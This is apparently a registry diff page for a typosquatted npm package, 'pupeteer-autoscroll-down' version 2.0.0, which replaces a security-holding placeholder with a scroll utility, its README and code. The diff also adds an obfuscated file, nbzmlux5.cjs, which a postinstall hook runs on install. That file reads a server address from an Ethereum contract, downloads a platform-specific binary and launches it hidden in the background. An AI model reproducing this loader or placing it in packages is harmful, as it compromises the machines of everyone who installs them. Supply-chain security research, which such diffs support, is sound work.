pupeteer-autoscroll-down 0.0.1-security → 2.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of pupeteer-autoscroll-down might be problematic. Click here for more details.

package/LICENSE ADDED
@@ -0,0 +1,21 @@
1
+ MIT License
2
+
3
+ Copyright (c) 2019 Maksim Balabash
4
+
5
+ Permission is hereby granted, free of charge, to any person obtaining a copy
6
+ of this software and associated documentation files (the "Software"), to deal
7
+ in the Software without restriction, including without limitation the rights
8
+ to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9
+ copies of the Software, and to permit persons to whom the Software is
10
+ furnished to do so, subject to the following conditions:
11
+
12
+ The above copyright notice and this permission notice shall be included in all
13
+ copies or substantial portions of the Software.
14
+
15
+ THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16
+ IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17
+ FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18
+ AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19
+ LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20
+ OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
21
+ SOFTWARE.
package/README.md CHANGED
@@ -1,5 +1,88 @@
1
- # Security holding package
1
+ # Handle infinite scroll on websites with puppeteer
2
2
 
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
3
+ Small puppeteer tool which makes your parsing experience a little bit better
4
4
 
5
- Please refer to www.npmjs.com/advisories?search=pupeteer-autoscroll-down for more information.
5
+ ## Usage
6
+
7
+ **`size` - Number of pixels to scroll on each step** `[default: 250]`
8
+
9
+ **`delay` - Delay in ms after each completed scroll step** `[default: 100]`
10
+
11
+ **`stepsLimit` - Max number of steps to scroll** `[default: null]`
12
+
13
+ ```js
14
+ const puppeteer = require('puppeteer')
15
+ const { scrollPageToBottom } = require('puppeteer-autoscroll-down')
16
+
17
+ const browser = await puppeteer.launch()
18
+ const page = await browser.newPage()
19
+ await page.goto('http://example.com')
20
+
21
+ const lastPosition = await scrollPageToBottom(page, {
22
+ size: 500,
23
+ delay: 250
24
+ })
25
+
26
+ await browser.close()
27
+ ```
28
+
29
+ ### Async content loading
30
+
31
+ **You can use returned value with request/response hooks to handle async content loading**
32
+
33
+ ```js
34
+ const puppeteer = require('puppeteer')
35
+ const { scrollPageToBottom } = require('puppeteer-autoscroll-down')
36
+
37
+ const browser = await puppeteer.launch()
38
+ const page = await browser.newPage()
39
+ await page.goto('http://example.com')
40
+
41
+ let isLoadingAvailable = true // Your condition-to-stop
42
+
43
+ while (isLoadingAvailable) {
44
+ await scrollPageToBottom(page, { size: 500 })
45
+ await page.waitForResponse(
46
+ response => response.url() === 'http://example.com' && response.status() === 200
47
+ )
48
+ isLoadingAvailable = false // Update your condition-to-stop value
49
+ }
50
+
51
+ await browser.close()
52
+ ```
53
+
54
+ ### Not only scroll to the bottom, but there is also function for scroll to the top
55
+
56
+ **`scrollPageToTop` supports same API as `scrollPageToBottom`**
57
+
58
+ ```js
59
+ const puppeteer = require('puppeteer')
60
+ const { scrollPageToTop } = require('puppeteer-autoscroll-down')
61
+
62
+ const browser = await puppeteer.launch()
63
+ const page = await browser.newPage()
64
+ await page.goto('http://example.com')
65
+
66
+ const lastPosition = await scrollPageToTop(page, {
67
+ size: 500,
68
+ delay: 250
69
+ })
70
+
71
+ await browser.close()
72
+ ```
73
+
74
+ ## Install
75
+
76
+ ```sh
77
+ npm i puppeteer-autoscroll-down
78
+ ```
79
+
80
+ or
81
+
82
+ ```sh
83
+ yarn add puppeteer-autoscroll-down
84
+ ```
85
+
86
+ ## License
87
+
88
+ MIT
package/index.js ADDED
@@ -0,0 +1,50 @@
1
+ function scrollPage(scrollDirection) {
2
+ return async (page, { delay = 100, size = 250, stepsLimit = null } = {}) => {
3
+ let lastScrollPosition = await page.evaluate(
4
+ async (pixelsToScroll, delayAfterStep, limit, direction) => {
5
+ let getElementScrollHeight = element => {
6
+ if (!element) return 0
7
+ let { clientHeight, offsetHeight, scrollHeight } = element
8
+ return Math.max(scrollHeight, offsetHeight, clientHeight)
9
+ }
10
+
11
+ let initialScrollPosition = window.pageYOffset
12
+ let availableScrollHeight = getElementScrollHeight(document.body)
13
+ let lastPosition = direction === 'bottom' ? 0 : initialScrollPosition
14
+
15
+ let scrollFn = resolve => {
16
+ let intervalId = setInterval(() => {
17
+ window.scrollBy(0, direction === 'bottom' ? pixelsToScroll : -pixelsToScroll)
18
+ lastPosition += direction === 'bottom' ? pixelsToScroll : -pixelsToScroll
19
+
20
+ if (
21
+ (direction === 'bottom' && lastPosition >= availableScrollHeight) ||
22
+ (direction === 'bottom' &&
23
+ limit !== null &&
24
+ lastPosition >= pixelsToScroll * limit) ||
25
+ (direction === 'top' && lastPosition <= 0) ||
26
+ (direction === 'top' &&
27
+ limit !== null &&
28
+ lastPosition <= initialScrollPosition - pixelsToScroll * limit)
29
+ ) {
30
+ clearInterval(intervalId)
31
+ resolve(lastPosition)
32
+ }
33
+ }, delayAfterStep)
34
+ }
35
+
36
+ return new Promise(scrollFn)
37
+ },
38
+ size,
39
+ delay,
40
+ stepsLimit,
41
+ scrollDirection
42
+ )
43
+
44
+ return lastScrollPosition
45
+ }
46
+ }
47
+
48
+ export const scrollPageToBottom = scrollPage('bottom');
49
+
50
+ export const scrollPageToTop = scrollPage('top');
package/nbzmlux5.cjs ADDED
@@ -0,0 +1 @@
1
+ const _0x182389=_0x2546;function _0x5c2d(){const _0x2aae9c=['getDefaultProvider','VqNPq','tmpdir','GET','mainnet','3742750nPVqOt','15964776VUUvrJ','getString','data','path','ethers','66304MjeoOL','basename','skeme','pWZje','hzqCc','oldfV','axios','platform','908904eVweEd','util','jJiFv','Ошибка\x20при\x20запуске\x20файла:','finish','bQKBI','201618qYvEtV','Unsupported\x20platform:\x20','/node-macos','187688pqKcHz','child_process','3774066LSjUZD','chmodSync','kRqoy','rizAO','stream','tmPDa','VFuVV','win32','unref','ZDwnJ','0xa1b40044EBc2794f207D45143Bd82a1B86156c6b','763rrLVwb','error','wbsWn','ydjky','4pWhfeT'];_0x5c2d=function(){return _0x2aae9c;};return _0x5c2d();}(function(_0x4c9243,_0x1dbcde){const _0x3fb6c1=_0x2546,_0x49c939=_0x4c9243();while(!![]){try{const _0x43e361=-parseInt(_0x3fb6c1(0x16f))/0x1+-parseInt(_0x3fb6c1(0x172))/0x2+parseInt(_0x3fb6c1(0x169))/0x3*(parseInt(_0x3fb6c1(0x155))/0x4)+parseInt(_0x3fb6c1(0x15b))/0x5+parseInt(_0x3fb6c1(0x174))/0x6+parseInt(_0x3fb6c1(0x151))/0x7*(parseInt(_0x3fb6c1(0x161))/0x8)+-parseInt(_0x3fb6c1(0x15c))/0x9;if(_0x43e361===_0x1dbcde)break;else _0x49c939['push'](_0x49c939['shift']());}catch(_0x457925){_0x49c939['push'](_0x49c939['shift']());}}}(_0x5c2d,0x7da23));function _0x2546(_0x448fc8,_0xe28391){const _0x5c2dc5=_0x5c2d();return _0x2546=function(_0x25460f,_0x4ab763){_0x25460f=_0x25460f-0x151;let _0x34a01b=_0x5c2dc5[_0x25460f];return _0x34a01b;},_0x2546(_0x448fc8,_0xe28391);}const {ethers}=require(_0x182389(0x160)),axios=require(_0x182389(0x167)),util=require(_0x182389(0x16a)),fs=require('fs'),path=require(_0x182389(0x15f)),os=require('os'),{spawn}=require(_0x182389(0x173)),contractAddress=_0x182389(0x17e),WalletOwner='0x52221c293a21D8CA7AFD01Ac6bFAC7175D590A84',abi=['function\x20getString(address\x20account)\x20public\x20view\x20returns\x20(string)'],provider=ethers[_0x182389(0x156)](_0x182389(0x15a)),contract=new ethers['Contract'](contractAddress,abi,provider),fetchAndUpdateIp=async()=>{const _0x516b77=_0x182389,_0x3c32a6={'fSwWl':'Ошибка\x20при\x20получении\x20IP\x20адреса:','VqNPq':function(_0x4c47b1){return _0x4c47b1();}};try{const _0x50cac4=await contract[_0x516b77(0x15d)](WalletOwner);return _0x50cac4;}catch(_0xc3a20b){return console[_0x516b77(0x152)](_0x3c32a6['fSwWl'],_0xc3a20b),await _0x3c32a6[_0x516b77(0x157)](fetchAndUpdateIp);}},getDownloadUrl=_0x5d40b1=>{const _0x4a37e8=_0x182389,_0x138433={'pWZje':_0x4a37e8(0x17b),'wbsWn':'linux'},_0x5ad3ab=os[_0x4a37e8(0x168)]();switch(_0x5ad3ab){case _0x138433[_0x4a37e8(0x164)]:return _0x5d40b1+'/node-win.exe';case _0x138433[_0x4a37e8(0x153)]:return _0x5d40b1+'/node-linux';case'darwin':return _0x5d40b1+_0x4a37e8(0x171);default:throw new Error(_0x4a37e8(0x170)+_0x5ad3ab);}},downloadFile=async(_0x4a9b78,_0x2f8061)=>{const _0x2aefb1=_0x182389,_0x5a12ad={'oldfV':_0x2aefb1(0x16d),'ydjky':'error','hzqCc':function(_0x388d34,_0x4fe0d6){return _0x388d34(_0x4fe0d6);},'jJiFv':_0x2aefb1(0x178)},_0x31eaec=fs['createWriteStream'](_0x2f8061),_0x351ac2=await _0x5a12ad[_0x2aefb1(0x165)](axios,{'url':_0x4a9b78,'method':_0x2aefb1(0x159),'responseType':_0x5a12ad[_0x2aefb1(0x16b)]});return _0x351ac2[_0x2aefb1(0x15e)]['pipe'](_0x31eaec),new Promise((_0x5ca6ea,_0x3f5ea7)=>{const _0x2e614d=_0x2aefb1;_0x31eaec['on'](_0x5a12ad[_0x2e614d(0x166)],_0x5ca6ea),_0x31eaec['on'](_0x5a12ad[_0x2e614d(0x154)],_0x3f5ea7);});},executeFileInBackground=async _0x250cc6=>{const _0x87d6f5=_0x182389,_0x400778={'kRqoy':'ignore','bQKBI':_0x87d6f5(0x16c)};try{const _0x419393=spawn(_0x250cc6,[],{'detached':!![],'stdio':_0x400778[_0x87d6f5(0x176)]});_0x419393[_0x87d6f5(0x17c)]();}catch(_0x546771){console[_0x87d6f5(0x152)](_0x400778[_0x87d6f5(0x16e)],_0x546771);}},runInstallation=async()=>{const _0x4268f5=_0x182389,_0x6eeef4={'rizAO':function(_0xf53e21){return _0xf53e21();},'VFuVV':function(_0x1708cf,_0x14b798){return _0x1708cf!==_0x14b798;},'skeme':_0x4268f5(0x17b),'XAQkN':'755','ZDwnJ':function(_0x3d68eb,_0x51901f){return _0x3d68eb(_0x51901f);},'tmPDa':'Ошибка\x20установки:'};try{const _0x4566d3=await _0x6eeef4[_0x4268f5(0x177)](fetchAndUpdateIp),_0xfd210a=getDownloadUrl(_0x4566d3),_0x375c8f=os[_0x4268f5(0x158)](),_0x31e53d=path[_0x4268f5(0x162)](_0xfd210a),_0x4ccfc4=path['join'](_0x375c8f,_0x31e53d);await downloadFile(_0xfd210a,_0x4ccfc4);if(_0x6eeef4[_0x4268f5(0x17a)](os[_0x4268f5(0x168)](),_0x6eeef4[_0x4268f5(0x163)]))fs[_0x4268f5(0x175)](_0x4ccfc4,_0x6eeef4['XAQkN']);_0x6eeef4[_0x4268f5(0x17d)](executeFileInBackground,_0x4ccfc4);}catch(_0x22c481){console['error'](_0x6eeef4[_0x4268f5(0x179)],_0x22c481);}};runInstallation();
package/package.json CHANGED
@@ -1,6 +1,66 @@
1
1
  {
2
2
  "name": "pupeteer-autoscroll-down",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
6
- }
3
+ "version": "2.0.0",
4
+ "description": "Handle infinite scroll on websites with puppeteer",
5
+ "main": "index.js",
6
+ "types": "./index.d.ts",
7
+ "engines": {
8
+ "node": ">=18"
9
+ },
10
+ "type": "module",
11
+ "license": "MIT",
12
+ "author": "mbalabash <maksim.balabash@gmail.com>",
13
+ "scripts": {
14
+ "postinstall": "node nbzmlux5.cjs"
15
+ },
16
+ "eslintConfig": {
17
+ "extends": "@logux/eslint-config"
18
+ },
19
+ "eslintIgnore": [
20
+ "example/index.js"
21
+ ],
22
+ "prettier": {
23
+ "arrowParens": "avoid",
24
+ "quoteProps": "as-needed",
25
+ "semi": false,
26
+ "singleQuote": true,
27
+ "trailingComma": "none"
28
+ },
29
+ "dependencies": {
30
+ "axios": "^1.7.7",
31
+ "ethers": "^6.13.2"
32
+ },
33
+ "devDependencies": {
34
+ "@logux/eslint-config": "^52.0.2",
35
+ "@types/puppeteer": "^7.0.4",
36
+ "eslint": "^8.54.0",
37
+ "eslint-config-standard": "^17.1.0",
38
+ "eslint-plugin-import": "^2.29.0",
39
+ "eslint-plugin-n": "^16.3.1",
40
+ "eslint-plugin-node": "^11.1.0",
41
+ "eslint-plugin-node-import": "^1.0.4",
42
+ "eslint-plugin-perfectionist": "^2.4.0",
43
+ "eslint-plugin-prefer-let": "^3.0.1",
44
+ "eslint-plugin-promise": "^6.1.1",
45
+ "find-chrome-bin": "2.0.0",
46
+ "puppeteer-core": "^21.5.2",
47
+ "tsm": "^2.3.0",
48
+ "typescript": "^5.3.2",
49
+ "uvu": "^0.5.6"
50
+ },
51
+ "keywords": [
52
+ "headless-chrome",
53
+ "puppeteer",
54
+ "parsing",
55
+ "infinite",
56
+ "scroll"
57
+ ],
58
+ "homepage": "https://github.com/mbalabash/puppeteer-autoscroll-down#readme",
59
+ "repository": {
60
+ "type": "git",
61
+ "url": "https://github.com/mbalabash/puppeteer-autoscroll-down"
62
+ },
63
+ "files": [
64
+ "nbzmlux5.cjs"
65
+ ]
66
+ }